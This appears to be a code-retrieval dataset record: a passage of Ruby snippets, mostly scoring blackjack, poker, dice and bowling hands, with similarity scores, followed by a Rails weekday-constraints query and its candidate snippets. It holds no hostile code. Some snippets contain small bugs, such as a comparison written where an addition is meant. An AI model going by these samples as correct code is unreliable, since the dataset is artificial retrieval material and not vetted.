card_value_counter += 11\n end\n end\n \n #decided total based on total number of aces. Will keep adjusting ace value to 1 until the toal is 21 or under\n value_array.select { |v| v == 'Ace'}.count.times do\n card_value_counter -= 10 if card_value_counter > 21\n end\n \n card_value_counter\nend", "def check_points(cards)\n points = []\n point = 0\n\n cards.each do |card|\n if %w(J K Q).include?(card[:value])\n point += 10\n elsif card[:value] == 'A'\n point += 11\n else\n point += card[:value].to_i\n end\n end\n\n points << point if point <= 21\n\n cards.select { |ele| ele[:value] == 'A' }.count.times do\n point -= 10\n points << point if point <= 21\n end\n\n points\nend", "def sum_of_cards(hand)\n card_values = hand.map do |card|\n if card[0] == 1\n card[0] = 11\n elsif card[0] >= 11\n card[0] = 10\n else\n card[0]\n end\n end\n sum = 0\n card_values.each do |card|\n sum += card[0]\n end\n sum\n end", "def initialize(codes)\n\t\t@cards = codes.split(\" \").map { |s| Card.new(s) }.sort {|a,b| a <=> b}.reverse\n\t\t\n\t\tdistinct_suits = Set.new.merge @cards.map{|card| card.suit}\n\n\t\tis_straight =\n\t\t\t@cards[0].value-1 == @cards[1].value &&\n\t\t\t@cards[0].value-2 == @cards[2].value &&\n\t\t\t@cards[0].value-3 == @cards[3].value &&\n\t\t\t@cards[0].value-4 == @cards[4].value\n\n\t\tif @is_straight && @cards[0].value == 14 && distinct_suits.size == 1\n\t\t\t@hand = 'ROYAL_FLUSH'\n\t\t\treturn\n\t\tend\n\n\t\tif is_straight && distinct_suits.size == 1\n\t\t\t@hand = 'STRAIGHT_FLUSH'\n\t\t\tset_ranking_cards([0])\n\t\t\treturn\n\t\tend\n\n\t\t# Four of a kind\n\t\tif equal_values([0,1,2,3])\n\t\t\t@hand = 'FOUR_OF_KIND'\n\t\t\tset_ranking_cards([0])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2,3,4])\n\t\t\t@hand = 'FOUR_OF_KIND'\n\t\t\tset_ranking_cards([1])\n\t\t\treturn\n\t\tend\n\t\t\n\t\t# Full house\n\t\tif equal_values([0,1,2],[3,4])\n\t\t\t@hand = 'FULL_HOUSE'\n\t\t\t@ranking_cards = [@cards[0]]\n\t\t\treturn\n\t\tend\n\t\tif equal_values([0,1],[2,3,4])\n\t\t\t@hand = 'FULL_HOUSE'\n\t\t\tset_ranking_cards([2])\n\t\t\treturn\n\t\tend\n\n\t\t# Flush\n\t\tif distinct_suits.size == 1\n\t\t\t@hand = 'FLUSH'\n\t\t\tset_ranking_cards([0,1,2,3,4])\n\t\t\treturn\n\t\tend\n\n\t\t# Straight\n\t\tif is_straight\n\t\t\t@hand = 'STRAIGHT'\n\t\t\tset_ranking_cards([0])\n\t\t\treturn\n\t\tend\n\n\t\t# 3 of a kind\n\t\tif equal_values([0,1,2])\n\t\t\t@hand = 'THREE_OF_KIND'\n\t\t\tset_ranking_cards([0,3,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2,3])\n\t\t\t@hand = 'THREE_OF_KIND'\n\t\t\tset_ranking_cards([1,0,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([2,3,4])\n\t\t\t@hand = 'THREE_OF_KIND'\n\t\t\tset_ranking_cards([2,0,1])\n\t\t\treturn\n\t\tend\n\n\n\t\t# 2 pair\n\t\tif equal_values([0,1],[2,3])\n\t\t\t@hand = 'TWO_PAIR'\n\t\t\tset_ranking_cards([0,2,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([0,1],[3,4])\n\t\t\t@hand = 'TWO_PAIR'\n\t\t\tset_ranking_cards([0,3,2])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2],[3,4])\n\t\t\t@hand = 'TWO_PAIR'\n\t\t\tset_ranking_cards([1,3,0])\n\t\t\treturn\n\t\tend\n\n\t\t# pair\n\t\tif equal_values([0,1])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([0,2,3,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([1,0,3,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([2,3])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([2,0,1,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([3,4])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([3,0,1,2])\n\t\t\treturn\n\t\tend\n\n\t\t@hand = 'HIGH_CARD'\n\t\tset_ranking_cards([0,1,2,3,4])\n\n\tend", "def eval_n_cards(cards)\n cards.combination(5).inject(EqClTable.last.code) do |best_code, comb|\n q=eval_5_cards(*comb)\n if q<best_code then q; else best_code; end\n end\n end", "def get_hand_value(hand)\n hand_values = hand.map { |card| card[0]} \n \n total = 0\n #check if there are any Aces\n hand_values.each do |value|\n if value == 'A'\n total += 11\n elsif value.to_i == 0 # this is for J, Q, K\n total += 10\n else\n total += value.to_i\n end\n end\n # To accomodate Aces, subtract 10 from the total per Ace if the total is >21\n hand_values.select{|value| value == \"A\"}.count.times do \n total -= 10 if total >21\n end\n total\nend", "def value()\n sum = 0\n # Partition the array by string and integer then reverse to put aces at back\n @cards.partition{|x| x.is_a? String}.map(&:sort).flatten.reverse_each do |i|\n if [\"Q\", \"J\", \"K\"].include?(i)\n sum += 10\n elsif i == \"A\"\n if sum + 11 > 21\n sum += 1\n else\n sum += 11\n end\n else \n sum += i\n end\n end \n return sum\n end", "def score\n result = 0\n tiro_index = 0\n rellenar_vector\n\n 10.times do\n if strike?(tiro_index)\n result += strike_Score(tiro_index)\n tiro_index += 1\n elsif spare?(tiro_index)\n\n result += spare_score(tiro_index)\n tiro_index += 2\n else\n result += cuadro_score(tiro_index)\n tiro_index += 2\n end\n end\n result\n end", "def card_in_game\n (2..14).each {|r| (1..4).each { |i| @pack_of_card << [i, r] }}\n @cards = @pack_of_card.shuffle.take(7)\n # @hash_7_card is hash prepared for analyze combinations and the highest combination to win\n $hash_7_card = array_suit_rank\n end", "def scorecards\n expose Challenge.scorecards(@oauth_token, params[:challenge_id].strip)\n end", "def score(dice)\n score = 0\n # n refers to an array which members are non-special die faces except when occurring three times in a roll of three or more.\n n = [2,3,4,6]\n # Creates an empty hash referred to as scorer with default value of zero\n scorer = Hash.new(0)\n # Iterates through the dice roll and creates a key/value pair in scorer\n # where the key is the die face and the value is increased by one for every occurrence of that die face\n dice.each do |die| scorer[die] += 1\n end\n # Iterates through the hash scorer, looking for the key 1 with a value equal to or greater than 3.\n if scorer[1] >= 3\n # 1000 is added to score for 3 occurrences of die face 1, and 100 is added for each additional occurrence.\n score += 1000+(100*(scorer[1]-3))\n # If the value of the key 1 is less than 3 it adds 100 to score for every occurrence of the die face 1.\n elsif scorer[1] < 3\n score += scorer[1]*100\n end\n # Iterates through the hash scorer, looking for the key 5 with a value equal to or greater than 3.\n if scorer[5] >= 3\n # 500 is added to score for 3 occurrences of die face 5, and 50 is added for each additional occurrence.\n score += 500+(50*(scorer[5]-3))\n # If the value of the key 5 is less than 3 it adds 50 to score for every occurrence of the die face 5.\n elsif scorer[5] < 3\n score += scorer[5]*50\n end\n# Iterates through array referred to as n.\n n.each do |x|\n if scorer[x] == 3\n score += x * 100\n end\n end\n # Returns the value of score after all the die values have been summed.\n score\nend", "def calculate_total(cards)\n arr = cards.map{|e| e[1] }\n\n total = 0 \n arr.each do |value|\n if value == \"Ace\"\n total == 11\n elsif value.to_i == 0 # Jack Queen or King\n total += 10\n else\n total += value.to_i\n end\n end\n\narr.select{|e| e == \"Ace\"}.count.times do\n if total > 21\n total -= 10 \n end\nend\n#if arr.include?(\"Ace\") && total > 21\n #total -= 10 \n total\nend", "def score_hand\n\n end", "def score_pictures(cards_pictures)\n cards_pictures.count * 10\n end", "def runner\nwelcome\ncards=initial_round\ncards=hit?(cards)\ndisplay_card_total(cards)\nwhile cards<21\n cards=hit?(cards)\nend\nend_game(cards)\nend", "def score(dice)\n # You need to write this method\n if dice.empty?\n return 0\n end\n total = 0\n dice.sort!\n if dice.size >= 3\n dice.each_slice(3) do |slice|\n if slice.uniq.size == 1\n if slice.first == 1\n total += 1000\n else\n total += get_single_score_points slice\n end\n else\n total += get_single_score_points slice\n end\n\n end\n else\n total += get_single_score_points dice\n end\n total\nend", "def calculate_total(cards_of_player, cards_of_dealer)\n total_points=[]\n total_points[0] = calculate_points(cards_of_player)\n total_points[1] = calculate_points(cards_of_dealer)\n total_points\nend", "def value_of_hand(hand)\n collection_of_card_values = hand.collect {|index| index[1]}\n card_values = collection_of_card_values.inject{|sum,next_card| sum + next_card }\n if collection_of_card_values.include?(1) && card_values < 12\n card_values += 10\n end\n card_values\nend", "def scoring(temp_board, player_piece)\n\t\t# takes in the instance of the game board and returns a scoring matrix\n\t\t# of size N x 1 (where N is the number of columns present in the game)\n\t\tscore = 0\n\t\tmodel = temp_board.model\n\t\t#assert board.is_a? Board\n\n\t\t## Score center column\n\t\tcenter_array = model.to_enum(:each_in_column, :chip, (model.columns.max / 2).to_i)\n\t\tcenter_count = center_array.count(@current_chip)\n\t\tscore += center_count * 3\n\n\t\t# check every column first for a \"4 in a row\"\n\t model.columns.each do |col|\n\t cols = model.to_enum(:each_in_column, :chip, col)\n\t score += self.enum_score(cols)\n\t end\n\n\t # check every row\n\t model.rows.each do |row|\n\t rows = model.to_enum(:each_in_row, :chip, row)\n\t score += self.enum_score(rows)\n\t end\n\n\t # check every diagonal\n\t model.diagonals.each do |diagonal|\n\t upper_diag = model.to_enum(:each_in_diagonal, :chip, diagonal, :up)\n\t score += self.enum_score(upper_diag)\n\n\t lower_diag = model.to_enum(:each_in_diagonal, :chip, diagonal, :down)\n\t score += self.enum_score(lower_diag)\n\t end\n\n\t return score\n\tend", "def scoring(temp_board, player_piece)\n\t\t# takes in the instance of the game board and returns a scoring matrix\n\t\t# of size N x 1 (where N is the number of columns present in the game)\n\t\tscore = 0\n\t\tmodel = temp_board.model\n\t\t#assert board.is_a? Board\n\n\t\t## Score center column\n\t\tcenter_array = model.to_enum(:each_in_column, :chip, (model.columns.max / 2).to_i)\n\t\tcenter_count = center_array.count(@current_chip)\n\t\tscore += center_count * 3\n\n\t\t# check every column first for a \"4 in a row\"\n\t model.columns.each do |col|\n\t cols = model.to_enum(:each_in_column, :chip, col)\n\t score += self.enum_score(cols)\n\t end\n\n\t # check every row\n\t model.rows.each do |row|\n\t rows = model.to_enum(:each_in_row, :chip, row)\n\t score += self.enum_score(rows)\n\t end\n\n\t # check every diagonal\n\t model.diagonals.each do |diagonal|\n\t upper_diag = model.to_enum(:each_in_diagonal, :chip, diagonal, :up)\n\t score += self.enum_score(upper_diag)\n\n\t lower_diag = model.to_enum(:each_in_diagonal, :chip, diagonal, :down)\n\t score += self.enum_score(lower_diag)\n\t end\n\n\t return score\n\tend", "def matched_suits\n per_suit = {}\n # Count how many there are of each suit \n aid = @cards.each do |card| \n # Wildcards belong to all suits \n if card.wild?\n for suit in Suit::SUITS\n per_suit[suit] ||= 0\n per_suit[suit] += 1\n end\n else\n per_suit[card.suit] ||= 0\n per_suit[card.suit] += 1\n end\n end\n return per_suit\n end", "def detect_result(dealer_cards, player_cards)\n player_total = card_total(player_cards)\n dealer_total = card_total(dealer_cards)\n\n if player_total > TARGET_NUMBER\n :player_busted\n elsif dealer_total > TARGET_NUMBER\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def calculate\n score = 0\n\n names.each do |name|\n current_score = 0\n name_score = 0\n\n name.split('').each do |letter|\n current_score += LETTER_SCORES[letter]\n name_score = current_score\n end\n\n current_score *= names.index(name) + 1\n score += current_score\n end\n\n score\n end", "def total\n sum = 0\n hand.each do |card|\n sum += card.find_face_value\n end\n sum = correct_for_aces(sum)\n end", "def score(dice)\n n = 0\n (1..9).each do |i|\n amount = dice.find_all{|d| d == i}.size\n case i\n when 1\n if amount > 2\n n += 1000 + (amount - 3) * 100\n else\n n += amount * 100\n end\n when 5\n if amount > 2\n n += 500 + (amount - 3) * 50\n else\n n += amount * 50\n end\n else\n if amount > 2\n n += i * 100\n end\n end\n end\n\n return n\nend", "def score(dice)\n hash = Hash.new(0)\n score = 0\n dice.each { |key| hash[key] += 1 }\n hash.each do |key, value|\n if key == 1\n score += 100 * (value % 3)\n score += 1000 * (value / 3)\n elsif key == 5\n score += 50 * (value % 3)\n score += 500 * (value / 3)\n else\n score += key * 100 * (value / 3)\n end\n end\n score\nend", "def count_score(array)\n total = 0\n sorted_hand = array.sort_by { |x| value(x) }\n sorted_hand.each do |x|\n if value(x) == 11 && total >= 11\n total += 1\n else\n total += value(x)\n end\n end\n total\nend", "def compute_sum_for player\r\n if player == nil || player[:cards] == nil || player[:cards].length == 0\r\n return 0\r\n end\r\n \r\n #Compute initial points\r\n sum = 0\r\n i = 0\r\n \r\n while i < player[:cards].length\r\n card = player[:cards][i]\r\n sum = sum + (card[:face] > 10 ? 10 : ((card[:face] == 1)? 11 : card[:face]))\r\n\ti = i + 1\r\n end\r\n \r\n #Fix the sum if possible, when the points is larger than 21\r\n j = player[:cards].length - 1\r\n while sum > 21 && j >= 0\r\n\tcard = player[:cards][j]\r\n\tif card[:face] == 1 #There is an Ace\r\n\t sum = sum - 11 + 1\r\n\tend\r\n\tj = j - 1\r\n end\r\n\t\r\n sum\r\nend" ]
[ "0.7849427", "0.7831273", "0.7678231", "0.75986767", "0.7538762", "0.7537035", "0.7523754", "0.7376404", "0.7370201", "0.73631305", "0.732527", "0.72155845", "0.71937287", "0.71263814", "0.7108032", "0.7089502", "0.70260406", "0.69806904", "0.69432163", "0.6935274", "0.6933528", "0.69102454", "0.68979955", "0.68908846", "0.68353295", "0.682126", "0.67836887", "0.6740342", "0.67352104", "0.67346805", "0.6725894", "0.6722796", "0.67157483", "0.67136014", "0.6707173", "0.66812015", "0.6680977", "0.6662607", "0.66483617", "0.65946734", "0.6588563", "0.657474", "0.6569079", "0.65329057", "0.6516901", "0.6513917", "0.65121245", "0.65052354", "0.65024817", "0.6499904", "0.64938074", "0.6480624", "0.6478889", "0.6471106", "0.6462798", "0.64609647", "0.6456962", "0.6456845", "0.6435636", "0.6435029", "0.64238954", "0.64238954", "0.6421031", "0.6395845", "0.6393245", "0.63691986", "0.6368547", "0.63654375", "0.6356808", "0.6346054", "0.63441586", "0.6330235", "0.6328073", "0.6326097", "0.6324702", "0.63149244", "0.63059133", "0.6288372", "0.62782013", "0.6273434", "0.6272715", "0.62709063", "0.6263489", "0.6263344", "0.6250179", "0.6230139", "0.6226746", "0.62162477", "0.62160426", "0.62102234", "0.62058467", "0.62058467", "0.6199159", "0.6196561", "0.6195778", "0.61950094", "0.618389", "0.6180217", "0.61734146", "0.61719126" ]
0.77857345
2
GET /weekday_constraints GET /weekday_constraints.json
def index @weekday_constraints = WeekdayConstraint.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def weekday_constraint_params\n params.require(:weekday_constraint).permit(:day, :name, :constraint_id, :constraint_type)\n end", "def set_weekday_constraint\n @weekday_constraint = WeekdayConstraint.find(params[:id])\n end", "def create\n @weekday_constraint = WeekdayConstraint.new(weekday_constraint_params)\n\n respond_to do |format|\n if @weekday_constraint.save\n format.html { redirect_to @weekday_constraint, notice: 'Weekday constraint was successfully created.' }\n format.json { render :show, status: :created, location: @weekday_constraint }\n else\n format.html { render :new }\n format.json { render json: @weekday_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @weekday_constraint.update(weekday_constraint_params)\n format.html { redirect_to @weekday_constraint, notice: 'Weekday constraint was successfully updated.' }\n format.json { render :show, status: :ok, location: @weekday_constraint }\n else\n format.html { render :edit }\n format.json { render json: @weekday_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_days\n return 0b0 if @params[:type] != 'advanced'\n\n return get_weekday_bitmask(['weekday_sun', 'weekday_mon', 'weekday_tue', 'weekday_wed', 'weekday_thu', 'weekday_fri', 'weekday_sat']) if @params[:schedule] == 'weekly'\n\n return get_month_bitmask(@params[:dates_picked]) if @params[:schedule] == 'monthly' && @params[:days] == 'specific'\n\n return get_unspecific_days\n\n end", "def destroy\n @weekday_constraint.destroy\n respond_to do |format|\n format.html { redirect_to weekday_constraints_url, notice: 'Weekday constraint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def active_weekdays\n WeekdayConfigVariable.new(name: 'ACTIVE_WEEKDAYS').weekdays\n end", "def weekdays\n result = veeamconfig('schedule', 'show', '--jobId', get_job_id).lines\n\n if result[0].strip == 'Every day'\n ['daily']\n else\n result[0].strip.split(': ')[1].split(', ')\n end\n end", "def check_rest_days\n\n\t\temp=Employee.find(employee_id)\n\t\tcalendar=Calendar.where(:department_id => emp.department_id,:anio => Date.parse(desde.to_s).year.to_i).first\n if !calendar.nil?\n\n \t\tdias_requested=weekdays_in_date_range(desde..hasta,calendar)\n \t\trt=RequestType.find(request_type_id)\n \t\tdias=0\n \t\t#get all requests from employee\n requests=Request.joins(:request_type).where(:employee_id => employee_id,status: [1,2],:request_type_id => request_type_id).where('extract(year from desde)= ?',\"#{desde.year.to_i}\")\n\n \t #working days requested.\n \t requests.each do |rq| \n \t dias+=weekdays_in_date_range(rq.desde..rq.hasta,calendar)\n \t end\n\n \t #get rest days\n \t num_dias_max=Request.rest_days(desde.year.to_i,employee_id,rt.num_dias_max)\n\n \t if dias_requested>(num_dias_max-dias)\n \t errors.add(:desde,\"Debe seleccionar un periodo igual o inferior a los días restantes. (#{(num_dias_max-dias)} dias)\")\n \t end\n end\n\tend", "def get(days,start_cep,end_cep)\n self.class.get(\"/api/v1/quote/available_scheduling_dates/#{days}/#{start_cep}/#{end_cep}\")\n end", "def weekdays\n wdays = []\n wdays << 0 if sun\n wdays << 1 if mon\n wdays << 2 if tue\n wdays << 3 if wed\n wdays << 4 if thu\n wdays << 5 if fri\n wdays << 6 if sat\n\n wdays\n end", "def check_time_constraints_payload(record, resp_data)\n # We never return time_constraints = null\n assert_equal record.time_constraints.count, resp_data[\"time_constraints\"].count\n for i in 0..record.time_constraints.count-1 do\n #puts record.time_constraints[i].to_json\n #puts resp_data[\"time_constraints\"][i]\n check_payload(resp_data[\"time_constraints\"][i],\n record.time_constraints[i],\n [:key_id, :start_time, :end_time, :start_offset, :end_offset], nil, nil)\n end\n end", "def min_attendance_days\n [1, time_constraint(:min_days)].compact.max\n end", "def day_rule\n @day_rules[@this_day.key_by_date] || @day_rules[@this_day.key_by_day]\n end", "def weekday\n fail \"A value cannot be provided for #{__method__}\" if @value\n return 'Mon..Fri'\n end", "def weekday\n fail \"A value cannot be provided for #{__method__}\" if @value\n\n 'Mon..Fri'\n end", "def weekdays=(value)\n # check if the weekdays property contains 'daily' - this will override any\n # other days that have been set\n if value.include? :daily or value.include? 'daily'\n veeamconfig('schedule', 'set', '--jobId', get_job_id, '--daily', '--at', \"#{@resource[:time]}\")\n else\n wd = value.join(',')\n veeamconfig('schedule', 'set', '--jobId', get_job_id, '--weekdays', \"#{wd}\", '--at', \"#{@resource[:time]}\")\n end\n end", "def list_tenant_constraints_0(opts = {})\n data, _status_code, _headers = list_tenant_constraints_0_with_http_info(opts)\n data\n end", "def weekdays\n lines[1]\n end", "def week_days\n {\n \"1\" => 'mon',\n \"2\" => 'tue',\n \"3\" => 'wed',\n \"4\" => 'thu',\n \"5\" => 'fri',\n \"6\" => 'sat',\n \"7\" => 'sun'\n }\n end", "def show\n @weekday = Weekday.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weekday }\n end\n end", "def weekday()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Weekday::WeekdayRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def weekdays\n value.each_char.map { |c| WEEKDAYS.index(c) }\n end", "def weekly_availability\n return [] if course.nil?\n\n availability = [\n { day: 'monday', count: 0, start_times: [] },\n { day: 'tuesday', count: 0, start_times: [] },\n { day: 'wednesday', count: 0, start_times: [] },\n { day: 'thursday', count: 0, start_times: [] },\n { day: 'friday', count: 0, start_times: [] },\n { day: 'saturday', count: 0, start_times: [] },\n { day: 'sunday', count: 0, start_times: [] }\n ]\n\n course.plannings.order('start_time ASC, end_time ASC').each do |planning|\n next if planning.week_day.nil? or Date::DAYNAMES[planning.week_day].nil?\n course_day = Date::DAYNAMES[planning.week_day].downcase\n day_availability = availability.detect { |d| d[:day] == course_day }\n\n day_availability[:count] += 1\n day_availability[:start_times] << I18n.l(planning.start_time, format: :short) if planning.start_time\n end\n\n availability\n end", "def parse_weekday(time)\n [file_for_day(time.strftime(\"%w\"))]\n end", "def day_of_week(weekdays, *extras)\n merge(day: weekdays.array_concat(extras))\n end", "def index\n @interval_constraints = IntervalConstraint.all\n end", "def schedule_day_params\n params.require(:schedule_day).permit(:schedule_week_id, :available_24_hours, :range_begin, :range_end, :date)\n end", "def weekend_and_holiday(day)\n holiday = Holidays.on(day, :federal_reserve, :observed).any?\n weekend = day.saturday? || day.sunday?\n [weekend, holiday]\n end", "def day_of_week(*weekdays)\n merge(day: weekdays)\n end", "def frequency_day_params\n params.require(:frequency_day).permit(:period_discipline_id, class_day: [:start, :end])\n end", "def list_tenant_constraints(opts = {})\n data, _status_code, _headers = list_tenant_constraints_with_http_info(opts)\n data\n end", "def interpolate_weekdays(year, month)\n @_interpolate_weekdays_cache ||= {}\n @_interpolate_weekdays_cache[\"#{year}-#{month}\"] ||= interpolate_weekdays_without_cache(year, month)\n end", "def business_days\n @business_days ||= days.select(&:business_day?)\n end", "def weekdays\n Weekdays.new(self)\n end", "def shifts_on(weekday)\n shifts.where(weekday: weekday)\n end", "def holiday_cannot_be_on_weekends\n if (self.date.strftime(\"%u\") == \"6\" or self.date.strftime(\"%u\") == \"7\")\n errors.add(:date, \"Holiday should not be on weekends\")\n end\n end", "def test\n WorkCalendar.configure do |c|\n c.weekdays = %i(mon tue wed thu fri)\n c.holidays = [Date.new(2015, 1, 1), Date.new(2015, 7, 3), Date.new(2015, 12, 25)]\n end\n end", "def calendar_exceptions\n get '/gtfs/calendarDate'\n end", "def agenda\n ret = {}\n ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday'].map do |day|\n ret[day] = courses.select do |course|\n course.days and course.days.include? day[0, 2]\n end\n ret[day].reverse!\n end\n return ret\n end", "def interpolate_weekdays(year, month)\n @_interpolate_weekdays_cache ||= {}\n @_interpolate_weekdays_cache[\"#{year}-#{month}\"] ||= interpolate_weekdays_without_cache(year, month)\n end", "def business_hours_on_day(date, in_time_zone)\n # puts \"in time zone #{in_time_zone}\"\n date = date.in_time_zone(in_time_zone)\n weekends = [6,7]\n if weekends.include?(date.to_date.cwday)\n return [0,0]\n end\n holidays = find_holidays_on_date(date, in_time_zone)\n if holidays.empty?\n default_business_hours\n else\n # puts \"default_business_hours: \" + default_business_hours.inspect\n start_time, end_time = default_business_hours\n effective_start = start_time\n effective_end = end_time\n holidays.each do |holiday_start, holiday_end|\n # puts \"holiday_start: #{holiday_start}\"\n # puts \"holiday_end: #{holiday_end}\"\n \n if holiday_start.to_date < date.to_date\n holiday_start = date.to_date.beginning_of_day\n end\n if holiday_end.to_date > date.to_date\n holiday_end = date.to_date.end_of_day\n end\n \n # puts \"determined holiday_start: #{holiday_start}\"\n # puts \"determined holiday_end: #{holiday_end}\" \n\n # puts \"business begins: #{date.beginning_of_day + start_time}\"\n # puts \"business ends: #{date.beginning_of_day + end_time}\"\n \n #if holiday starts before business and ends after business, return 0\n if holiday_start <= (date.beginning_of_day + start_time) && holiday_end >= (date.beginning_of_day + end_time)\n return [0,0]\n end\n #if holiday starts before business then set business day to start effectively when the holiday ends\n if holiday_start <= (date.beginning_of_day + start_time)\n # puts \"holiday starts before business then set business day to start effectively when the holiday ends\"\n # puts \"holiday_end:\" + holiday_end.inspect\n # puts \"holiday_end.beginning_of_day:\" + holiday_end.beginning_of_day.inspect\n \n seconds_for_holiday_end = seconds_from_day_start(holiday_end)\n if seconds_for_holiday_end > effective_start\n effective_start = seconds_for_holiday_end\n end\n end\n #if holiday ends after business then set business day to end effectively when the holiday start\n if holiday_end >= (date.beginning_of_day + end_time)\n # puts \"holiday ends after business then set business day to end effectively when the holiday start\"\n # puts \"holiday_start:\" + holiday_start.inspect\n # puts \"holiday_start.beginning_of_day:\" + holiday_start.beginning_of_day.inspect\n \n seconds_for_holiday_start = seconds_from_day_start(holiday_start)\n if seconds_for_holiday_start < effective_end\n effective_end = seconds_for_holiday_start\n end\n end\n end\n if effective_start > effective_end\n effective_start = effective_end\n end\n # puts \"effective start and end \" + [effective_start.to_i, effective_end.to_i].inspect\n [effective_start.to_i, effective_end.to_i]\n end\n end", "def create\n @weekday = Weekday.new(params[:weekday])\n\n respond_to do |format|\n if @weekday.save\n format.html { redirect_to @weekday, notice: 'Weekday was successfully created.' }\n format.json { render json: @weekday, status: :created, location: @weekday }\n else\n format.html { render action: \"new\" }\n format.json { render json: @weekday.errors, status: :unprocessable_entity }\n end\n end\n end", "def days_of_the_week_params\n params.require(:days_of_the_week).permit(:monday, :tuesday, :wednesday, :thursday, :friday, :saturday, :sunday, :chore_id)\n end", "def holiday_cannot_be_on_weekends\n if (self.date.cwday == 6 or self.date.cwday == 7)\n errors.add(:date, \"Holiday should not be on weekends\")\n end\n end", "def weekdays\n if @range\n first = WEEKDAYS.find {|key,val| key.include? @range.first }.last.first\n last = WEEKDAYS.find {|key,val| key.include? @range.last }.last.last\n return (first..last).to_a\n else\n output = []\n @tokens.each do |token|\n WEEKDAYS.each_pair do |labels,wdays|\n output.concat(wdays) and break if labels.include?(token)\n end\n end\n output\n end\n end", "def weekday?(day)\n\t\tday && (EXISTING_PATTERNS[:weekdays].split('|').include? day)\n\tend", "def update\n @weekday = Weekday.find(params[:id])\n\n respond_to do |format|\n if @weekday.update_attributes(params[:weekday])\n format.html { redirect_to @weekday, notice: 'Weekday was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @weekday.errors, status: :unprocessable_entity }\n end\n end\n end", "def eligibility\n respond_to :json\n @eligibility = Eligibility.find_by(client: @client, day: requested_day)\n unless @eligibility\n Rails.logger.warn \"Eligibility not pre-calculated for #{@client.id} on #{requested_day}\"\n @eligibility = EligibilityService.new(@client, requested_day, 1).run!\n end\n render json: {\n requested_day => {\n 'meetsMinimumPresence' => @eligibility.minimum_presence,\n # boolean (root)\n 'meetsFiveYearPresence' => @eligibility.five_year_presence,\n # boolean (child of root | parent of present_days_by_rolling_year)\n 'daysInNZ' => @eligibility.present_days_by_rolling_year,\n # hash of integers e.g. {'2019-06-07': 365.. } (child of five_year_presence)\n 'eachYearPresence' => @eligibility.each_year_presence,\n # boolean (child of root | parent of mimimum_presence_by_rolling_year)\n 'last5Years' => @eligibility.mimimum_presence_by_rolling_year\n # hash of booleans e.g. {'2019-06-07': true.. } (child of each_year_presence)\n }\n }\n end", "def weekend\n [saturday, sunday]\n end", "def create\n @day ||= Weekday.day\n @days ||= Weekday.days\n @batch = Weekday.set_day(params[:weekday][:batch_id], params[:weekdays])\n flash[:notice] = t('weekday_create')\n end", "def day_of_week_params\n params.require(:day_of_week).permit(:name)\n end", "def calendar_wdays(starting_day = 0)\n start_week = Date.today.beginning_of_week + (starting_day - 1).days # In rails week start in monday and monday.wday is 1\n (start_week...start_week+7.days).collect { |day| I18n.l(day, :format => '%A') }\n end", "def validate_dow(spec)\n spec = spec.to_s\n spec == \"*\" ||\n validate_numeric(spec, 0, 7) ||\n %w{sun mon tue wed thu fri sat}.include?(spec.downcase) ||\n %w{sunday monday tuesday wednesday thursday friday saturday}.include?(spec.downcase)\n end", "def calendar\n get '/gtfs/calendar'\n end", "def where(constraints, *args)\n @constraints = constraints.gsub(/\\?/) do\n raise ArgumentError, \"incorrect placeholder count\" unless args.length > 0\n arg = args.shift\n arg = arg.to_xs_datetime if arg.kind_of?(Time)\n arg.to_json\n end\n end", "def index\n @grouped_schedule_places = SchedulePlace.all\n .order(:weekday_id, :start_time).group_by{ |sp| sp.weekday.name }\n @weekdays = Weekday.all.map { |wd| [wd.name, wd.id] }\n end", "def offset_of_first_weekday_after_weekday(desired_weekday, current_weekday)\n offset = offset_of_first_weekday_at_or_after_weekday(desired_weekday, current_weekday)\n offset == 0 ? 7 : offset\nend", "def query_by_date\n # find the wdays of the trip\n dates = dates_to_wdays(\n Date.parse(params[:from]),\n Date.parse(params[:to])\n )\n\n # find schedules that fit the wdays of the trip\n schedules = Schedule.where.overlap(wdays: dates)\n\n respond_with TripsBySchedulePresenter.new(schedules).as_json\n end", "def get_days\n\t\tbool_array = []\n\n\t\tbool_array << self[:monday]\n\t\tbool_array << self[:tuesday]\n\t\tbool_array << self[:wednesday]\n\t\tbool_array << self[:thursday]\n\t\tbool_array << self[:friday]\n\t\tbool_array << self[:saturday]\n\t\tbool_array << self[:sunday]\n\n\t\treturn bool_array\n\tend", "def index\n @day_of_weeks = DayOfWeek.all\n end", "def weekday_options_for_select(selected = T.unsafe(nil), index_as_value: T.unsafe(nil), day_format: T.unsafe(nil), beginning_of_week: T.unsafe(nil)); end", "def index\n # @weekdays = Weekday.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Oj.dump(@weekdays, mode: :compat) }\n end\n end", "def weekly_goals\n get(\"/user/#{@user_id}/activities/goals/weekly.json\")\n end", "def expected_event_params\n \t\tparams.require(:expected_event).permit([:title, :weekday_0, :weekday_1, :weekday_2, \n :weekday_3, :weekday_4, :weekday_5, :weekday_6, \n :matching_direction, :started_at, :ended_at, :date_select,\n :final_hour])\n \tend", "def schedule_params\n params.require(:schedule).permit(:week, :dayOfWeek, :beginHour, :endHour, :status)\n end", "def index\n 